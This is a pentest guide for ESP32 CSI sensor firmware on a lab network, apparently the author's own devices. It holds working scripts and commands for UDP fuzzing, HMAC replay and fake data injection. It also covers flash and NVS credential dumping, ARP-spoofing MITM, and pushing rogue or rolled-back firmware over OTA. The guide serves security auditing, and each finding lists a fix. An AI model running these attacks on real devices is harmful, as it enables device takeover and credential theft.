Files
esp32-hacking/docs/PENTEST.md
user 31724df63f docs: Add pentest results and update project docs
Executed non-invasive pentest against amber-maple (v1.12-dev):
- Phase 1: mDNS, port scan, binary analysis, eFuse readout
- Phase 2: HMAC timing, command injection (27 tests), replay (6 tests)
- Phase 3: NVS analysis, CVE check (12 CVEs), binary structure
All network-facing tests PASS. Physical security gaps documented.
2026-02-14 21:55:47 +01:00

50 KiB

ESP32 CSI Sensor Firmware -- Practical Pentest Guide

Target: ESP32-WROOM-32 running csi_recv_router firmware (v1.11/v1.12) ESP-IDF: v5.5.2 | Protocol: UDP command/data on ports 5501/5500 Lab: Raspberry Pi 5 (Debian trixie), standard Linux tools, esptool.py, optional second ESP32


Table of Contents

  1. Lab Setup and Prerequisites
  2. Network Attack Surface
  3. Protocol Attacks
  4. Firmware Binary Analysis
  5. Hardware Attacks
  6. OTA Attack Surface
  7. Side-Channel Attacks
  8. Dependency and CVE Analysis
  9. Wireless Attacks
  10. Automated Test Scripts

1. Lab Setup and Prerequisites

Tools to Install

# Network analysis
sudo apt install -y nmap tcpdump tshark ncat socat

# WiFi (requires compatible adapter -- see section 9)
sudo apt install -y aircrack-ng mdk4 hostapd dnsmasq

# Binary analysis
sudo apt install -y binwalk xxd file

# Python pentest libraries
pip3 install --user scapy bleak pwntools

# ESP32-specific
pip3 install --user esptool

# Ghidra (optional, for deep reverse engineering)
# Download from https://ghidra-sre.org/ -- runs on RPi5 with JDK 17+
sudo apt install -y openjdk-17-jre

Network Topology Reference

 Raspberry Pi 5                       ESP32 Sensors
 192.168.129.x                        192.168.129.29  (muddy-storm)
  |-- eth0 / wlan0                    192.168.129.30  (amber-maple)
  |                                   192.168.129.31  (hollow-acorn)
  |                                        |
  +------------- LAN (WiFi) --------------+
                                     Ports:
                                       5500/udp  CSI data (outbound)
                                       5501/udp  Commands (inbound)
                                       5353/udp  mDNS

Quick Connectivity Check

# Verify sensors are reachable
for ip in 192.168.129.{29,30,31}; do
    echo "STATUS" | ncat -u -w1 "$ip" 5501
done

2. Network Attack Surface

2.1 Service Discovery via mDNS

Field Value
Tests Information leakage via mDNS; device enumeration without auth
Tools avahi-browse, dig, nmap
Finding Device hostname, service type _esp-csi._udp, target port exposed
Fix Remove instance name "ESP32 CSI Sensor"; consider disabling mDNS in production
# Enumerate all ESP32 CSI sensors on the LAN
avahi-browse -art 2>/dev/null | grep -A4 '_esp-csi'

# Alternative using DNS-SD query
dig @224.0.0.251 -p 5353 -t PTR _esp-csi._udp.local +short

# Nmap mDNS service scan
nmap -sU -p 5353 --script=dns-service-discovery 192.168.129.0/24

What a finding looks like:

= muddy-storm [ESP32 CSI Sensor] _esp-csi._udp; port=5500
= amber-maple [ESP32 CSI Sensor] _esp-csi._udp; port=5500

All three sensors fully enumerable without any authentication.


2.2 Port Scanning and Service Fingerprinting

Field Value
Tests Open ports, unexpected services, UDP response behavior
Tools nmap
Finding Open UDP ports 5500, 5501 visible; responses leak firmware version
Fix Bind to specific interface IP; require auth for STATUS
# Full UDP port scan on a single sensor
nmap -sU -p- --min-rate=1000 192.168.129.29

# Targeted scan with version detection
nmap -sUV -p 5500,5501,5353 192.168.129.29

# Scan all three sensors
nmap -sU -p 5500,5501,5353 192.168.129.29-31

2.3 Traffic Sniffing (Passive)

Field Value
Tests Cleartext data exposure; credential leakage; command replay material
Tools tcpdump, tshark
Finding All CSI data, BLE data, commands, HMAC tokens visible in cleartext
Fix DTLS for command channel; encrypted data stream (stretch goal)
# Capture all ESP32 sensor traffic
sudo tcpdump -i eth0 -nn 'udp and (port 5500 or port 5501)' -w esp32-capture.pcap

# Live decode -- see commands and responses
sudo tcpdump -i eth0 -nn -A 'udp port 5501'

# Extract only command/response pairs with tshark
tshark -r esp32-capture.pcap -Y 'udp.port == 5501' \
    -T fields -e ip.src -e ip.dst -e data.text

# Watch for HMAC tokens in transit (to capture for replay testing)
sudo tcpdump -i eth0 -nn -A 'udp port 5501' | grep 'HMAC:'

What a finding looks like:

192.168.129.1.42310 > 192.168.129.29.5501: HMAC:a1b2c3d4....:1234:OTA http://192.168.129.1:8899/fw.bin
192.168.129.29.5501 > 192.168.129.1.42310: OK OTA started

Complete HMAC token, timestamp, and command visible to any host on the same network segment.


2.4 UDP Fuzzing

Field Value
Tests Crash resilience; buffer overflow; malformed input handling
Tools Python + socket, radamsa (if installed), custom scripts
Finding Device crash/reboot on malformed input = memory safety bug
Fix Bounds checks on all input paths; watchdog recovery
# Install radamsa (mutation fuzzer)
sudo apt install -y radamsa

# Generate a corpus of valid commands
cat > /tmp/udp-corpus.txt << 'EOF'
STATUS
CONFIG
PING
HELP
RATE 50
POWER 10
CSI ON
CSI OFF
BLE ON
BLE OFF
ADAPTIVE ON
ADAPTIVE OFF
PRESENCE ON
PRESENCE OFF
CALIBRATE 100
CALIBRATE CLEAR
CALIBRATE STATUS
CSIMODE RAW
CSIMODE COMPACT
CSIMODE HYBRID 10
CHANSCAN NOW
CHANSCAN ON 300
LED QUIET
LED AUTO
LOG VERBOSE
LOG NONE
ALERT TEMP 70
ALERT HEAP 30000
ALERT OFF
FLOODTHRESH 5 10
IDENTIFY
HOSTNAME test-name
TARGET 192.168.129.1 5500
EOF
#!/usr/bin/env python3
"""udp_fuzz.py -- Fuzz ESP32 command port with malformed packets."""

import socket
import random
import time
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.129.29"
PORT = 5501
ITERATIONS = 10000

# Seed corpus
COMMANDS = [
    b"STATUS", b"CONFIG", b"PING", b"HELP", b"RATE 50",
    b"POWER 10", b"CSI ON", b"BLE ON", b"CALIBRATE 100",
    b"CSIMODE RAW", b"HOSTNAME test", b"TARGET 1.1.1.1 5500",
    b"HMAC:0000000000000000000000000000000:0:STATUS",
]

def mutate(data: bytes) -> bytes:
    """Simple mutation strategies."""
    strategy = random.randint(0, 7)
    d = bytearray(data)
    if strategy == 0 and len(d) > 0:
        # Bit flip
        idx = random.randint(0, len(d) - 1)
        d[idx] ^= (1 << random.randint(0, 7))
    elif strategy == 1:
        # Append random bytes
        d.extend(random.randbytes(random.randint(1, 200)))
    elif strategy == 2:
        # Truncate
        if len(d) > 1:
            d = d[:random.randint(1, len(d) - 1)]
    elif strategy == 3:
        # Insert null bytes
        idx = random.randint(0, len(d))
        d[idx:idx] = b'\x00' * random.randint(1, 10)
    elif strategy == 4:
        # Oversized packet (near MTU limit)
        d = random.randbytes(random.randint(192, 1400))
    elif strategy == 5:
        # Format string specifiers
        d = b"STATUS %x%x%x%x%x%x%x%x%n%n"
    elif strategy == 6:
        # Very long single field
        d = b"RATE " + b"9" * random.randint(50, 500)
    elif strategy == 7:
        # Repeated separator characters
        d = b" ".join([b"CMD"] * random.randint(50, 200))
    return bytes(d)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(0.2)

alive_count = 0
for i in range(ITERATIONS):
    seed = random.choice(COMMANDS)
    payload = mutate(seed)
    try:
        sock.sendto(payload, (TARGET, PORT))
    except OSError:
        pass

    # Periodic liveness check
    if i % 100 == 0:
        try:
            sock.sendto(b"PING", (TARGET, PORT))
            resp, _ = sock.recvfrom(1500)
            if b"PONG" in resp:
                alive_count += 1
            else:
                print(f"[!] Iteration {i}: unexpected response: {resp[:60]}")
        except socket.timeout:
            print(f"[!] Iteration {i}: DEVICE NOT RESPONDING -- possible crash!")
            time.sleep(5)  # Wait for reboot
            try:
                sock.sendto(b"PING", (TARGET, PORT))
                sock.recvfrom(1500)
                print(f"[+] Device recovered (rebooted)")
            except socket.timeout:
                print(f"[!!] Device still down after 5s")
                break

    # Rate limit to avoid overwhelming (50ms between sends, matching firmware throttle)
    time.sleep(0.055)

print(f"Completed {ITERATIONS} iterations, {alive_count} liveness checks passed")
sock.close()

What a finding looks like:

  • Device stops responding to PING after a specific mutation = crash
  • Device reboots (boot count increments) = unhandled exception
  • Log [!!] Device still down after 5s = hard fault

3. Protocol Attacks

3.1 HMAC Timing Analysis

Field Value
Tests Whether HMAC comparison leaks timing information
Tools Python + high-resolution timing
Finding Statistically significant timing difference between "first byte wrong" vs "last byte wrong"
Fix Already implemented: constant-time comparison (line 1525 of app_main.c)

The firmware uses volatile uint8_t diff with XOR accumulation (line 1524-1528), which is the correct pattern. This test validates that it actually works over the network.

#!/usr/bin/env python3
"""hmac_timing.py -- Test for timing oracle in HMAC verification."""

import socket
import time
import statistics

TARGET = "192.168.129.29"
PORT = 5501
SAMPLES = 200

def measure_response(payload: bytes) -> float | None:
    """Send payload, measure response time in microseconds."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(1.0)
    start = time.perf_counter_ns()
    sock.sendto(payload, (TARGET, PORT))
    try:
        sock.recvfrom(1500)
    except socket.timeout:
        sock.close()
        return None
    elapsed = (time.perf_counter_ns() - start) / 1000  # microseconds
    sock.close()
    return elapsed

# Test 1: All zeros HMAC (fails on first byte)
all_zeros = b"HMAC:00000000000000000000000000000000:0:STATUS"

# Test 2: HMAC with correct prefix but wrong suffix (if we knew partial secret)
# For blind testing, use different wrong values
half_right = b"HMAC:ffffffffffffffffffffffffffffffff:0:STATUS"

# Test 3: Malformed (no HMAC at all, different code path)
no_hmac = b"STATUS"

print("Collecting timing samples...")
timings = {"all_zeros": [], "all_ff": [], "no_hmac": []}

for i in range(SAMPLES):
    t = measure_response(all_zeros)
    if t:
        timings["all_zeros"].append(t)
    time.sleep(0.06)

    t = measure_response(half_right)
    if t:
        timings["all_ff"].append(t)
    time.sleep(0.06)

    t = measure_response(no_hmac)
    if t:
        timings["no_hmac"].append(t)
    time.sleep(0.06)

for name, samples in timings.items():
    if samples:
        print(f"{name:12s}: n={len(samples):4d}  "
              f"mean={statistics.mean(samples):8.0f}us  "
              f"median={statistics.median(samples):8.0f}us  "
              f"stdev={statistics.stdev(samples):7.0f}us")

# Statistical test: if mean differs by >50us between zero/ff, possible timing leak
if timings["all_zeros"] and timings["all_ff"]:
    diff = abs(statistics.mean(timings["all_zeros"]) - statistics.mean(timings["all_ff"]))
    print(f"\nTiming difference (zeros vs ff): {diff:.0f}us")
    if diff > 50:
        print("[!] POSSIBLE TIMING ORACLE -- difference exceeds 50us")
    else:
        print("[+] Constant-time comparison appears effective")

What a finding looks like: A statistically significant difference (>50us) between different wrong HMACs would indicate the comparison is not constant-time. Network jitter on a LAN is typically 100-500us, so this test requires many samples and careful interpretation.


3.2 Replay Attack (Nonce Cache Overflow)

Field Value
Tests Whether the 8-entry nonce dedup cache can be overflowed to replay commands
Tools Python + hmac
Finding After 8 unique authenticated commands, the first one's nonce is evicted and can be replayed
Fix Increase cache size; use monotonic sequence counter instead of timestamp

The nonce cache is only 8 entries (line 1450: AUTH_NONCE_CACHE_SIZE 8). The timestamp window is +/-5 seconds. Attack: send 8 unique commands rapidly to fill the cache, then replay the first one.

#!/usr/bin/env python3
"""replay_attack.py -- Test nonce cache overflow for HMAC replay."""

import hashlib
import hmac
import socket
import time

TARGET = "192.168.129.29"
PORT = 5501
SECRET = "YOUR_SECRET_HERE"  # from NVS or serial capture

def sign(cmd: str, ts: int) -> bytes:
    payload = f"{ts}:{cmd}"
    digest = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
    return f"HMAC:{digest[:32]}:{payload}".encode()

def send_cmd(sock, payload: bytes) -> str:
    sock.sendto(payload, (TARGET, PORT))
    try:
        resp, _ = sock.recvfrom(1500)
        return resp.decode(errors="replace")
    except socket.timeout:
        return "<timeout>"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1.0)

# Step 1: Get device uptime from STATUS
sock.sendto(b"STATUS", (TARGET, PORT))
resp = sock.recvfrom(1500)[0].decode()
# Parse uptime from STATUS response (format: "uptime=1234s")
uptime = 0
for field in resp.split():
    if field.startswith("uptime="):
        uptime = int(field.split("=")[1].rstrip("s"))

print(f"Device uptime: {uptime}s")

# Step 2: Sign a target command at current timestamp
target_ts = uptime
target_cmd = sign("STATUS", target_ts)
print(f"\n[1] Initial send of target command:")
print(f"    Response: {send_cmd(sock, target_cmd)[:60]}")
time.sleep(0.06)

# Step 3: Replay immediately -- should be rejected
print(f"\n[2] Immediate replay (should be rejected):")
print(f"    Response: {send_cmd(sock, target_cmd)[:60]}")
time.sleep(0.06)

# Step 4: Flood cache with 8 different commands to evict the target nonce
print(f"\n[3] Flooding nonce cache with 8 unique commands...")
for i in range(8):
    # Use different commands with same timestamp (within window)
    filler = sign(f"PING", target_ts + i % 5)  # vary slightly
    resp = send_cmd(sock, filler)
    time.sleep(0.06)

# Step 5: Replay the original command -- should now succeed (cache evicted)
print(f"\n[4] Replaying original command after cache overflow:")
resp = send_cmd(sock, target_cmd)
print(f"    Response: {resp[:60]}")

if "ERR AUTH replay" in resp:
    print("\n[+] Replay correctly rejected -- cache survived overflow")
elif "ERR AUTH expired" in resp:
    print("\n[~] Timestamp expired -- test took too long, retry faster")
else:
    print("\n[!] REPLAY SUCCEEDED -- nonce cache overflow confirmed!")

sock.close()

What a finding looks like: Step 4 returns a valid response instead of ERR AUTH replay rejected = the 8-entry nonce cache was overflowed and the original HMAC was replayed.


3.3 Unauthenticated Command Abuse

Field Value
Tests Which state-modifying commands work without HMAC authentication
Tools ncat, simple shell loop
Finding CSI OFF, PRESENCE OFF, LOG NONE, CALIBRATE CLEAR, etc. all work without auth
Fix Require auth for all state-modifying commands (see VULN-007 in SECURITY-AUDIT.md)
# Test every command that modifies state without auth
SENSOR="192.168.129.29"

# Commands that SHOULD require auth but currently don't:
for cmd in \
    "CSI OFF" \
    "PRESENCE OFF" \
    "LOG NONE" \
    "CALIBRATE CLEAR" \
    "FLOODTHRESH 100 300" \
    "ALERT OFF" \
    "RATE 10" \
    "POWER 2" \
    "BLE OFF" \
    "ADAPTIVE OFF" \
    "LED AUTO" \
    "CSIMODE COMPACT" \
    "CHANSCAN ON 60" \
    "POWERSAVE ON"
do
    resp=$(echo "$cmd" | ncat -u -w1 "$SENSOR" 5501)
    if echo "$resp" | grep -q "^OK\|^ERR AUTH"; then
        prefix=$(echo "$resp" | grep -q "^OK" && echo "VULN" || echo "SAFE")
        printf "%-25s %s  %s\n" "$cmd" "$prefix" "$resp"
    fi
done

What a finding looks like:

CSI OFF                   VULN  OK CSI collection disabled
PRESENCE OFF              VULN  OK presence detection disabled
LOG NONE                  VULN  OK log level=NONE
CALIBRATE CLEAR           VULN  OK baseline cleared
FLOODTHRESH 100 300       VULN  OK flood_thresh=100 window=300s

An attacker can blind all sensors, suppress logging, disable intrusion detection, all without any credentials.


3.4 Command Injection via String Fields

Field Value
Tests Whether attacker-controlled strings (HOSTNAME, TARGET) can inject into log output, NVS, or data streams
Tools ncat
Finding Hostname with newlines/special chars could poison downstream log parsers or CSV data
Fix Sanitize hostname to [a-z0-9-] only; already partially done but verify
SENSOR="192.168.129.29"

# Test format string injection in hostname
echo "HOSTNAME %x%x%x%x" | ncat -u -w1 "$SENSOR" 5501

# Test newline injection (could split CSV/log lines)
printf "HOSTNAME test\nINJECT" | ncat -u -w1 "$SENSOR" 5501

# Test null byte injection
printf "HOSTNAME test\x00hidden" | ncat -u -w1 "$SENSOR" 5501

# Test oversized hostname (buffer is char[32])
echo "HOSTNAME $(python3 -c 'print("A"*100)')" | ncat -u -w1 "$SENSOR" 5501

# Test TARGET with format strings
echo "TARGET %s%s%s%s 5500" | ncat -u -w1 "$SENSOR" 5501

What a finding looks like:

  • Response contains hex values from stack = format string vulnerability
  • Subsequent STATUS shows corrupted hostname = buffer overflow
  • CSV data stream contains injected lines = log injection

3.5 UDP Data Stream Interception and Injection

Field Value
Tests Whether an attacker can inject fake CSI/BLE/PROBE data into the collector
Tools Python socket
Finding No authentication on the data channel (port 5500); any host can inject fake sensor data
Fix Add HMAC signing to data packets; or validate source IP at collector
#!/usr/bin/env python3
"""inject_data.py -- Inject fake sensor data into the collection server."""

import socket

COLLECTOR = "192.168.129.1"  # Flask API host
PORT = 5500

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Inject fake CSI data pretending to be muddy-storm
fake_csi = (
    "CSI_DATA,muddy-storm,999999,AA:BB:CC:DD:EE:FF,-50,11,1,0,0,0,0,0,0,"
    "0,0,-95,0,6,0,1234567,0,128,0,64,0,\"[0,0,0,0]\"\n"
)
sock.sendto(fake_csi.encode(), (COLLECTOR, PORT))

# Inject fake BLE data (phantom device)
fake_ble = "BLE_DATA,muddy-storm,DE:AD:BE:EF:00:01,-60,ADV_IND,FakeDevice,0x004C,8,6\n"
sock.sendto(fake_ble.encode(), (COLLECTOR, PORT))

# Inject fake probe request (phantom device tracking)
fake_probe = "PROBE_DATA,muddy-storm,DE:AD:BE:EF:00:02,-55,TargetSSID,6\n"
sock.sendto(fake_probe.encode(), (COLLECTOR, PORT))

# Inject fake alert (false alarm)
fake_alert = "ALERT_DATA,muddy-storm,DEAUTH,DE:AD:BE:EF:00:03,FF:FF:FF:FF:FF:FF,-40\n"
sock.sendto(fake_alert.encode(), (COLLECTOR, PORT))

print("Fake data injected -- check Flask API for phantom entries")
sock.close()

4. Firmware Binary Analysis

4.1 String Extraction

Field Value
Tests Hardcoded secrets, URLs, IPs, debug messages, format strings
Tools strings, grep
Finding WiFi SSID/password, auth hints, API endpoints, build paths in binary
Fix Enable flash encryption; strip debug strings in production
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"

# Extract all printable strings (min length 6)
strings -n 6 "$FIRMWARE" > /tmp/fw-strings.txt
wc -l /tmp/fw-strings.txt

# Search for credentials and sensitive patterns
grep -iE 'password|passwd|secret|key|token|api_key|ssid' /tmp/fw-strings.txt
grep -iE 'http://|https://|ftp://' /tmp/fw-strings.txt
grep -iE '192\.168\.|10\.|172\.' /tmp/fw-strings.txt
grep -iE 'admin|root|default|test|debug' /tmp/fw-strings.txt

# Search for format strings (potential vulnerability indicators)
grep -E '%[0-9]*[sxdnp]' /tmp/fw-strings.txt

# Search for NVS key names (reveals all configuration knobs)
grep -E '^[a-z_]{3,15}$' /tmp/fw-strings.txt | sort -u

# Search for ESP-IDF version and build info
grep -iE 'idf|esp-idf|v[0-9]+\.[0-9]+' /tmp/fw-strings.txt

# Search for certificate/TLS related strings
grep -iE 'cert|tls|ssl|ca_cert|pem|x509' /tmp/fw-strings.txt

What a finding looks like:

csi_config          <- NVS namespace
auth_secret         <- Key name for HMAC secret
WIFI_SSID_HERE      <- Hardcoded SSID
http://              <- HTTP (not HTTPS) OTA allowed

4.2 Binary Structure Analysis

Field Value
Tests Firmware format, partition layout, bootloader version
Tools esptool.py, binwalk, file
Finding Partition offsets, firmware not signed, flash encryption absent
Fix Enable secure boot v2; enable flash encryption
FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin"

# Image header info
esptool.py image_info "$FIRMWARE"

# Entropy analysis (encrypted firmware has high, uniform entropy)
binwalk -E "$FIRMWARE"
# If entropy is NOT uniformly high, flash encryption is not in use

# Search for embedded files/structures
binwalk "$FIRMWARE"

# Check for ELF sections (if .elf is available)
ELF="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf"
if [ -f "$ELF" ]; then
    # List all symbols (reveals function names and global variables)
    objdump -t "$ELF" | grep -E 's_auth|s_target|s_hostname|cmd_handle|auth_verify'

    # Disassemble specific function
    objdump -d "$ELF" | grep -A 50 '<auth_verify>'

    # Check for debug info
    file "$ELF"
    # "not stripped" = full debug symbols present
fi

4.3 NVS Partition Analysis (from flash dump)

Field Value
Tests Extract credentials, auth secret, WiFi PSK from NVS
Tools esptool.py, ESP-IDF nvs_tool.py
Finding Auth secret, WiFi credentials, hostname in plaintext NVS
Fix Enable NVS encryption (CONFIG_NVS_ENCRYPTION=y) + flash encryption
# Step 1: Dump NVS partition from device (requires USB connection)
esptool.py -p /dev/ttyUSB0 -b 921600 \
    read_flash 0x9000 0x4000 /tmp/nvs_dump.bin

# Step 2: Parse NVS contents using ESP-IDF tool
NVS_TOOL="$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py"
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin

# Step 3: Look for specific keys
python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin 2>/dev/null | \
    grep -E 'auth_secret|wifi\.sta\.(ssid|password)|hostname|target_ip'

# Alternative: hex dump and manual inspection
xxd /tmp/nvs_dump.bin | grep -i -A2 'auth'

What a finding looks like:

Namespace: csi_config
  auth_secret (STR) = a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  hostname (STR) = muddy-storm

Namespace: nvs.net80211
  sta.ssid (BLOB) = MyHomeWiFi
  sta.pswd (BLOB) = MyWiFiPassword123

Both the HMAC secret and WiFi credentials extracted in plaintext.


5. Hardware Attacks

5.1 UART Console Capture

Field Value
Tests Information leakage via serial; auth secret exposure on boot
Tools screen, minicom, picocom, USB-to-serial adapter
Finding Full boot log with auth secret prefix, all ESP_LOG output
Fix CONFIG_ESP_CONSOLE_NONE=y or CONFIG_LOG_DEFAULT_LEVEL_WARN=y for production
# Connect to UART (ESP32-DevKitC has built-in USB-to-serial)
picocom -b 921600 /dev/ttyUSB0

# Or with screen
screen /dev/ttyUSB0 921600

# Capture boot log to file (includes auth secret on first boot/factory reset)
picocom -b 921600 --logfile /tmp/uart-capture.log /dev/ttyUSB0

# Then trigger a factory reset remotely (if you have auth):
# echo "HMAC:<token>:FACTORY" | ncat -u -w1 192.168.129.29 5501
# The new auth secret will appear in the UART log

What a finding looks like:

W (1234) csi_recv_router: AUTH: secret generated (a1b2... -- retrieve via serial or NVS)

On firmware versions before the partial-redaction fix, the full 32-char secret was logged. Current version logs only first 4 chars, but the prefix still aids brute-force.


5.2 Full Flash Dump and Analysis

Field Value
Tests Complete firmware extraction; credential theft; code modification
Tools esptool.py
Finding Entire flash readable (no flash encryption); firmware modifiable (no secure boot)
Fix Enable secure boot v2 + flash encryption (one-way eFuse burn for production)
# Dump entire 4MB flash
esptool.py -p /dev/ttyUSB0 -b 921600 \
    read_flash 0 0x400000 /tmp/full_flash_dump.bin

# Extract individual partitions based on partition table:
# NVS:      0x9000  - 0xCFFF   (16 KB)
# otadata:  0xD000  - 0xEFFF   (8 KB)
# phy_init: 0xF000  - 0xFFFF   (4 KB)
# ota_0:    0x10000 - 0x1EFFFF (1920 KB)
# ota_1:    0x1F0000- 0x3CFFFF (1920 KB)

dd if=/tmp/full_flash_dump.bin of=/tmp/nvs.bin bs=1 skip=$((0x9000)) count=$((0x4000))
dd if=/tmp/full_flash_dump.bin of=/tmp/ota0.bin bs=1 skip=$((0x10000)) count=$((0x1E0000))
dd if=/tmp/full_flash_dump.bin of=/tmp/ota1.bin bs=1 skip=$((0x1F0000)) count=$((0x1E0000))

# Check if flash encryption is active (encrypted flash has high entropy)
binwalk -E /tmp/ota0.bin
# Flat entropy ~0.5-0.7 = NOT encrypted
# Flat entropy ~1.0     = encrypted

# Write modified firmware back (no secure boot = no signature check)
# WARNING: This bricks the device if you write garbage
# esptool.py -p /dev/ttyUSB0 write_flash 0x10000 /tmp/modified_ota0.bin

5.3 JTAG Debug Access

Field Value
Tests Whether JTAG is accessible; live memory inspection; breakpoints
Tools OpenOCD + GDB, JTAG adapter (FT2232H or ESP-PROG, ~$15)
Finding JTAG not disabled via eFuse; live debugging possible; memory readable at runtime
Fix Burn JTAG disable eFuse: espefuse.py burn_efuse JTAG_DISABLE (irreversible)

ESP32-WROOM-32 JTAG pins (directly on the ESP32 chip, not broken out on most DevKitC boards):

JTAG Signal GPIO
TDI GPIO 12
TCK GPIO 13
TMS GPIO 14
TDO GPIO 15
# Install OpenOCD for ESP32
sudo apt install -y openocd

# If using an FT2232H adapter:
# Connect JTAG pins to the adapter, then:
openocd -f interface/ftdi/esp32_devkitj_v1.cfg -f target/esp32.cfg

# In another terminal, connect GDB:
# (requires xtensa-esp32-elf-gdb from ESP-IDF toolchain)
xtensa-esp32-elf-gdb /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf
# (gdb) target remote :3333
# (gdb) monitor reset halt
# (gdb) print s_auth_secret        # Read HMAC secret from live memory
# (gdb) print s_target_ip          # Read target IP
# (gdb) x/32bx &s_auth_secret     # Hex dump of secret in memory

Note: Most ESP32-DevKitC boards do NOT break out JTAG pins, so this requires soldering wires to GPIO 12-15. On DevKitC V4 or ESP-PROG, JTAG is on a header.


5.4 eFuse Analysis

Field Value
Tests Secure boot status, flash encryption status, JTAG disable status
Tools espefuse.py (part of esptool)
Finding All security eFuses unburned = no hardware protections
Fix Burn appropriate eFuses for production (irreversible!)
# Read all eFuse values (non-destructive, read-only)
espefuse.py -p /dev/ttyUSB0 summary

# Check specific security-relevant eFuses:
espefuse.py -p /dev/ttyUSB0 get_custom_mac  # Check if custom MAC set
espefuse.py -p /dev/ttyUSB0 summary 2>&1 | grep -iE 'JTAG|SECURE_BOOT|FLASH_ENCRYPT|ABS_DONE'

What a finding looks like:

JTAG_DISABLE (EFUSE_BLK0)      = False   <- JTAG accessible
ABS_DONE_0 (EFUSE_BLK0)        = False   <- Secure boot NOT enabled
FLASH_CRYPT_CNT (EFUSE_BLK0)   = 0       <- Flash encryption NOT enabled

6. OTA Attack Surface

6.1 MITM OTA with Rogue HTTP Server

Field Value
Tests Whether a MITM attacker can serve malicious firmware during OTA
Tools Python HTTP server, ARP spoofing (arpspoof/ettercap), mitmproxy
Finding OTA accepts any HTTP server; no TLS cert validation; no firmware signatures
Fix Disable CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP; add cert pinning; enable secure boot
# Step 1: Build a "canary" firmware that proves code execution
# (Modify a non-critical string in the firmware, rebuild, and use as the payload)
# Or use a known-good older version to test version rollback

# Step 2: Serve it via HTTP
cd /home/user/git/esp32-hacking/get-started/csi_recv_router/build/
python3 -m http.server 8899

# Step 3: Trigger OTA (requires auth if enabled)
# If auth is enabled, compute HMAC first using esp-ctl's auth module:
python3 -c "
from esp_ctl.auth import sign_command
import sys
cmd = 'OTA http://192.168.129.1:8899/csi_recv_router.bin'
# You need the device uptime -- get it from STATUS first
print(sign_command(cmd, uptime_s=1234, secret='YOUR_SECRET'))
" | ncat -u -w5 192.168.129.29 5501

# Step 4: If auth is disabled, no HMAC needed:
echo "OTA http://192.168.129.1:8899/csi_recv_router.bin" | \
    ncat -u -w5 192.168.129.29 5501

6.2 ARP-Based MITM for OTA Hijacking

# Requires: dsniff package (contains arpspoof)
sudo apt install -y dsniff

# Step 1: Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Step 2: ARP poison -- pretend to be the gateway for the ESP32
# Gateway: 192.168.129.1, Target: 192.168.129.29
sudo arpspoof -i eth0 -t 192.168.129.29 192.168.129.1 &
sudo arpspoof -i eth0 -t 192.168.129.1 192.168.129.29 &

# Step 3: Use iptables to redirect HTTP traffic to local server
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \
    -j REDIRECT --to-port 8899

# Step 4: Serve malicious firmware on port 8899
cd /tmp && python3 -m http.server 8899

# Step 5: When OTA is triggered (by legitimate admin or attacker),
# the ESP32's HTTP request is redirected to the rogue server.
# Since CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y, the firmware accepts it.

# Cleanup:
sudo killall arpspoof
sudo iptables -t nat -F
sudo sysctl -w net.ipv4.ip_forward=0

6.3 Firmware Rollback Attack

Field Value
Tests Whether older, vulnerable firmware versions can be flashed via OTA
Tools esptool.py, HTTP server
Finding No anti-rollback enforcement; any valid ESP32 image is accepted
Fix CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y with eFuse version counter
# Serve an older firmware version (e.g., v1.9 without auth hardening)
# Assuming you have the older binary saved:
python3 -m http.server 8899 --directory /path/to/old/builds/

# Trigger OTA with old binary
echo "OTA http://192.168.129.1:8899/old-v1.9-firmware.bin" | \
    ncat -u -w5 192.168.129.29 5501

# After reboot, the device runs the old, less-secure firmware.
# Verify:
echo "STATUS" | ncat -u -w1 192.168.129.29 5501
# Check the version= field in the response

What a finding looks like: STATUS response shows older firmware version running = rollback succeeded.


7. Side-Channel Attacks

7.1 Timing Oracle on Authentication

Already covered in section 3.1. The firmware implements constant-time comparison (volatile XOR accumulation), so this is a validation test rather than an expected finding.

7.2 Timing Oracle on Command Routing

Field Value
Tests Whether response timing varies based on command validity (information leak)
Tools Python timing script
Finding Different commands take measurably different time = reveals which commands exist
Fix Normalize response time with a minimum delay
#!/usr/bin/env python3
"""cmd_timing.py -- Measure response times for various commands."""

import socket
import time
import statistics

TARGET = "192.168.129.29"
PORT = 5501

COMMANDS = [
    b"STATUS",          # Valid, complex response
    b"PING",            # Valid, simple response
    b"NONEXISTENT",     # Invalid command
    b"",                # Empty
    b"A" * 191,         # Max-length garbage
    b"OTA",             # Valid but missing arg (should fail)
    b"REBOOT",          # Valid but requires auth
]

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2.0)

for cmd in COMMANDS:
    times = []
    for _ in range(50):
        start = time.perf_counter_ns()
        sock.sendto(cmd, (TARGET, PORT))
        try:
            sock.recvfrom(1500)
        except socket.timeout:
            continue
        elapsed = (time.perf_counter_ns() - start) / 1000
        times.append(elapsed)
        time.sleep(0.06)

    if times:
        label = cmd[:30].decode(errors="replace")
        print(f"{label:32s}  n={len(times):3d}  "
              f"mean={statistics.mean(times):8.0f}us  "
              f"stdev={statistics.stdev(times):7.0f}us")

sock.close()

7.3 Uptime-Based Timestamp Prediction

Field Value
Tests Whether device uptime is predictable enough to pre-compute valid HMAC timestamps
Tools ncat, timing measurement
Finding Uptime is in STATUS response (no auth needed); attacker can sync timestamp trivially
